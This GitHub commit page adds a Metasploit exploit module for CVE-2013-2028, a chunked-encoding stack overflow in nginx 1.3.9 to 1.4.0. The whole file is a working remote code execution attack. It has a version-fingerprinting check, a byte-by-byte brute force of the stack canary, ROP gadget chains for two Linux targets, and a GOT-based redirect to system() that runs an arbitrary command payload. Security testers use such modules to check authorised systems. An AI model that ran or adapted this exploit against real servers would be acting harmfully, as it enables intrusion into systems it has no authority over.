Skip to content

Commit 81b690a

Browse files
committed
Initial check in of nginx module
1 parent ecb9d1d commit 81b690a

File tree

1 file changed

+284
-0
lines changed

1 file changed

+284
-0
lines changed
Lines changed: 284 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,284 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
include Exploit::Remote::Tcp
12+
include Msf::Exploit::RopDb
13+
14+
def initialize(info = {})
15+
16+
super(update_info(info,
17+
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers
20+
an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size.
21+
This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
22+
},
23+
'Author' =>
24+
[
25+
'Greg MacManus', # original discovery
26+
'hal', # exploit development
27+
'saelo' # exploit development
28+
],
29+
'DisclosureDate' => 'May 07 2013',
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2013-2028'],
34+
['OSVDB', '93037'],
35+
['URL', 'http://nginx.org/en/security_advisories.html'],
36+
['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
37+
],
38+
'Privileged' => false,
39+
'Payload' =>
40+
{
41+
'BadChars' => "\x0d\x0a",
42+
},
43+
'Targets' =>
44+
[
45+
[
46+
'Ubuntu 13.04 32bit - nginx 1.4.0',
47+
{
48+
'Arch' => ARCH_CMD,
49+
'Ropname' => 'Ubuntu 13.04',
50+
'Platform' => 'unix',
51+
'CanaryOffset' => 5050,
52+
'Offset' => 12,
53+
'Writable' => 0x080c7330,
54+
'Rop' => {
55+
'store' => {
56+
'address_offset' => 1,
57+
'value_offset' => 3,
58+
'chain' => [
59+
0x0804c415, # pop ecx ; add al, 29h ; ret
60+
0x00000000, # address
61+
0x080b9a38, # pop eax ; ret
62+
0x00000000, # value
63+
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
64+
],
65+
},
66+
67+
'dereference' => {
68+
'writable_offset' => 7,
69+
'chain' => [
70+
0x08094129, # pop esi; ret
71+
0x080c5090, # GOT for localtime_r
72+
0x0804c415, # pop ecx ; add al, 29h ; ret
73+
0x001a4b00, # Offset to system
74+
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret
75+
0x08076f63, # push ecx ; add al, 39h ; ret
76+
0x41414141, # Garbage return address
77+
0x00000000, # ptr to .data where contents have been stored
78+
],
79+
}
80+
}
81+
}
82+
],
83+
84+
[
85+
'Debian Squeeze 32bit - nginx 1.4.0',
86+
{
87+
'Arch' => ARCH_CMD,
88+
'Ropname' => 'Debian Squeeze',
89+
'Platform' => 'unix',
90+
'Offset' => 5130,
91+
'Writable' => 0x080b4360,
92+
'Rop' => {
93+
'store' => {
94+
'address_offset' => 3,
95+
'value_offset' => 1,
96+
'chain' => [
97+
0x08050d93, # pop edx ; add al 0x83 ; ret
98+
0x00000000, # value
99+
0x08067330, # pop eax ; ret
100+
0x00000000, # address
101+
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
102+
0x41414141, # ebp
103+
],
104+
},
105+
106+
'dereference' => {
107+
'writable_offset' => 8,
108+
'chain' => [
109+
0x0804ab34, # pop edi ; pop ebp ; ret
110+
0x080B4128 -
111+
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
112+
0x41414141, # padding (ebp)
113+
0x08093c75, # mov ebx, edi ; dec ecx ; ret
114+
0x08067330, # pop eax # ret
115+
0xfffb0c80, # offset
116+
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret
117+
0x0804a3af, # call eax # system
118+
0x00000000 # ptr to .data where contents have been stored
119+
],
120+
}
121+
}
122+
}
123+
],
124+
125+
],
126+
127+
'DefaultTarget' => 0
128+
))
129+
130+
register_options([
131+
OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
132+
], self.class)
133+
134+
register_advanced_options(
135+
[
136+
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff]),
137+
], self.class)
138+
139+
end
140+
141+
def check
142+
@peer = "#{rhost}:#{rport}"
143+
144+
begin
145+
res = send_request_fixed(nil)
146+
147+
if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
148+
return Exploit::CheckCode::Appears
149+
elsif res =~ /^Server: nginx/m
150+
return Exploit::CheckCode::Detected
151+
end
152+
153+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
154+
print_error("#{@peer} - Connection failed")
155+
end
156+
157+
return Exploit::CheckCode::Unknown
158+
159+
end
160+
161+
#
162+
# Generate a random chunk size that will always result
163+
# in a negative 64bit number when being parsed
164+
#
165+
def random_chunk_size(bytes=16)
166+
return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
167+
end
168+
169+
def send_request_fixed(data)
170+
connect
171+
172+
request = "GET / HTTP/1.1\r\n"
173+
request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
174+
request << "Transfer-Encoding: Chunked\r\n"
175+
request << "\r\n"
176+
request << "#{data}"
177+
178+
sock.put(request)
179+
180+
res = nil
181+
182+
begin
183+
res = sock.get_once(-1, 0.5)
184+
rescue EOFError => e
185+
# Ignore
186+
end
187+
188+
disconnect
189+
return res
190+
191+
end
192+
193+
def store(buf, address, value)
194+
rop = target['Rop']
195+
chain = rop['store']['chain']
196+
chain[rop['store']['address_offset']] = address
197+
chain[rop['store']['value_offset']] = value.unpack('V').first
198+
buf << chain.pack('V*')
199+
end
200+
201+
def dereference_got
202+
buf = ""
203+
command = payload.encoded
204+
i = 0
205+
while i < command.length
206+
store(buf, target['Writable'] + i, command[i, 4].ljust(4, ";"))
207+
i = i + 4
208+
end
209+
210+
chain = target['Rop']['dereference']['chain']
211+
chain[target['Rop']['dereference']['writable_offset']] = target['Writable']
212+
buf << chain.pack("V*")
213+
214+
return buf
215+
end
216+
217+
def exploit
218+
data = random_chunk_size(1024)
219+
220+
if target['CanaryOffset'].nil?
221+
data << Rex::Text.pattern_create(target['Offset'] - data.size)
222+
else
223+
224+
if not datastore['CANARY'] == 0xffffffff
225+
print_status("Using 0x%08x as stack canary" % datastore['CANARY'])
226+
else
227+
print_status("Searching for stack canary")
228+
canary = find_canary
229+
230+
if canary.nil? or canary == 0x00000000
231+
print_error("Unable to find stack canary. Quiting")
232+
return
233+
else
234+
print_status("Canary found: 0x%08x\n" % canary)
235+
datastore['CANARY'] = canary
236+
end
237+
end
238+
239+
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
240+
data << [datastore['CANARY']].pack('V')
241+
data << Rex::Text.rand_text_hex(target['Offset'])
242+
243+
end
244+
245+
data << dereference_got
246+
247+
begin
248+
send_request_fixed(data)
249+
rescue Errno::ECONNRESET => e
250+
# Ignore
251+
end
252+
handler
253+
end
254+
255+
def find_canary
256+
257+
# First byte of the canary is already known
258+
canary = "\x00"
259+
260+
# We are going to bruteforce the next 3 bytes one at a time
261+
3.times do |c|
262+
print_status("Bruteforcing byte #{c + 1}")
263+
264+
0.upto(255) do |i|
265+
data = random_chunk_size(1024)
266+
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
267+
data << canary
268+
data << i.chr
269+
270+
unless send_request_fixed(data).nil?
271+
print_status("Byte #{c + 1} found: 0x%02x\n" % i)
272+
canary << i.chr
273+
break
274+
end
275+
end
276+
end
277+
278+
if canary == "\x00"
279+
return nil
280+
else
281+
return canary.unpack('V').first
282+
end
283+
end
284+
end

0 commit comments

Comments
 (0)